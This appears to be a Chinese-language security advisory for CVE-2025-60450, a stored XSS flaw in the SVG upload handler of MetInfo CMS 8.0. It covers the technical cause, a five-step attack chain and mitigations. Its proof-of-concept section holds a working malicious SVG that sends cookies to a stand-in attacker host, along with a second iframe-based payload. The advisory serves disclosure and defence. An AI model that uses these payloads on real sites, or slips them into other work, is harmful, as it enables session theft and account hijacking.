IPBUF安全漏洞报告
English
CVE-2025-60450 CVSS 6.1 中危

CVE-2025-60450:MetInfo CMS 8.0 SVG上传存储型XSS漏洞

披露日期: 2025-10-03

漏洞信息

漏洞编号
CVE-2025-60450
漏洞类型
存储型跨站脚本攻击(Stored XSS)
CVSS评分
6.1 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
需要交互 (UI:R)
影响产品
MetInfo CMS

相关标签

XSS存储型XSSStored XSSSVG文件上传MetInfoCMSCVE-2025-60450中危漏洞跨站脚本

漏洞概述

CVE-2025-60450是MetInfo CMS 8.0版本中存在的一个存储型跨站脚本(Stored XSS)漏洞。该漏洞于2025年10月3日由MITRE组织披露,CVSS 3.1评分为6.1分,属于中危级别漏洞。MetInfo CMS是一款广泛使用的内容管理系统,主要用于企业建站和门户网站管理。该漏洞的核心问题在于系统的文件上传组件(位于app\system\include\module\editor\Uploader.class.php路径下)对用户上传的SVG文件缺乏充分的验证和过滤机制。SVG(可缩放矢量图形)作为一种基于XML的图像格式,本质上是文本文件,可以包含JavaScript脚本代码。攻击者可以精心构造包含恶意JavaScript代码的SVG文件,并将其上传到目标服务器。由于该漏洞属于存储型XSS,恶意代码会被持久化存储在服务器端,当其他用户访问包含该恶意SVG文件的页面时,浏览器会自动执行其中的JavaScript代码,从而实现窃取用户会话、劫持用户账户、篡改页面内容或进行钓鱼攻击等恶意行为。该漏洞的攻击向量为网络(AV:N),无需任何认证权限(PR:N),但需要用户交互(UI:R)才能触发,对机密性和完整性产生低影响,不影响可用性。

技术细节

该存储型XSS漏洞的技术原理在于MetInfo CMS的文件上传组件对SVG文件的处理不当。SVG文件本质上是XML格式的文档,其规范允许在文件中嵌入<script>标签和事件处理属性(如onload、onclick等),浏览器在解析渲染SVG文件时会执行其中的JavaScript代码。MetInfo CMS的Uploader.class.php组件在处理用户上传的文件时,仅检查了文件的扩展名是否为允许的类型(如.jpg、.png、.gif等),但未对SVG文件的内容进行安全过滤或消毒处理(sanitization)。攻击者利用方式如下:首先,攻击者创建一个包含恶意JavaScript代码的SVG文件,例如在SVG的<svg>标签中嵌入<script>alert(document.cookie)</script>或使用onload事件属性。然后,通过MetInfo CMS的编辑器上传功能将该恶意SVG文件上传到服务器。由于服务器未对SVG内容进行过滤,恶意代码被完整存储。当受害者用户通过浏览器访问包含该SVG文件的页面时,浏览器解析SVG文件并执行其中的JavaScript代码,攻击者的恶意脚本在受害者的浏览器上下文中运行。由于该XSS是存储型的,恶意代码存储在服务器端,影响所有访问该页面的用户。漏洞的CVSS向量为CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N,表明攻击通过网络进行,攻击复杂度低,无需权限,但需要用户交互(如点击链接或访问页面),影响范围可改变,机密性和完整性影响为低。

攻击链分析

STEP 1
步骤1:构造恶意SVG文件
攻击者创建一个包含恶意JavaScript代码的SVG文件。SVG文件中嵌入<script>标签或使用onload等事件处理属性,在用户浏览器中加载时自动执行恶意脚本。
STEP 2
步骤2:上传恶意文件
攻击者通过MetInfo CMS 8.0的编辑器上传功能(Uploader.class.php组件),将恶意SVG文件上传到目标服务器。由于组件未对SVG内容进行安全过滤,文件被成功存储。
STEP 3
步骤3:诱导用户访问
攻击者通过钓鱼邮件、社交工程或在其他页面中嵌入链接等方式,诱导已登录的合法用户访问包含恶意SVG文件的页面。
STEP 4
步骤4:执行恶意脚本
受害者的浏览器加载并解析恶意SVG文件,自动执行其中嵌入的JavaScript代码。该代码在受害者的会话上下文中运行,可窃取Cookie、会话令牌或执行其他恶意操作。
STEP 5
步骤5:数据窃取与权限提升
攻击者通过窃取的会话信息劫持受害者账户,特别是管理员账户的会话可能导致网站被完全控制,包括数据泄露、网站篡改等进一步攻击。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
<!-- CVE-2025-60450 PoC: Stored XSS via Malicious SVG Upload in MetInfo CMS 8.0 --> <!-- Save the following content as evil.svg and upload via MetInfo CMS editor --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" onload="alert(document.cookie)"> <script type="text/javascript"> // Malicious JavaScript payload // Steal cookies and send to attacker server var cookie = document.cookie; var img = new Image(); img.src = 'https://attacker.com/steal?cookie=' + encodeURIComponent(cookie); // Or perform actions on behalf of the user // fetch('/admin/api/change-password', {method: 'POST', body: JSON.stringify({new_password: 'hacked'})}); </script> <rect x="0" y="0" width="100" height="100" fill="red"/> <text x="10" y="50" font-size="14" fill="white">Evil SVG</text> </svg> <!-- Alternative PoC using foreignObject to bypass some filters --> <?xml version="1.0" encoding="UTF-8"?> <svg xmlns="http://www.w3.org/2000/svg"> <foreignObject width="200" height="200"> <body xmlns="http://www.w3.org/1999/xhtml"> <iframe src="javascript:alert('XSS')"></iframe> </body> </foreignObject> </svg>

影响范围

MetInfo CMS 8.0

防御指南

临时缓解措施
在无法立即升级的情况下,建议采取以下临时缓解措施:1)在Web服务器层面配置规则,拒绝上传包含<script>标签或onload等事件属性的SVG文件;2)通过Content-Security-Policy响应头限制页面中内联脚本的执行;3)将上传目录设置为禁止脚本执行;4)使用WAF规则检测和拦截包含恶意JavaScript的SVG文件上传;5)监控上传目录中的SVG文件,定期扫描可疑内容。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表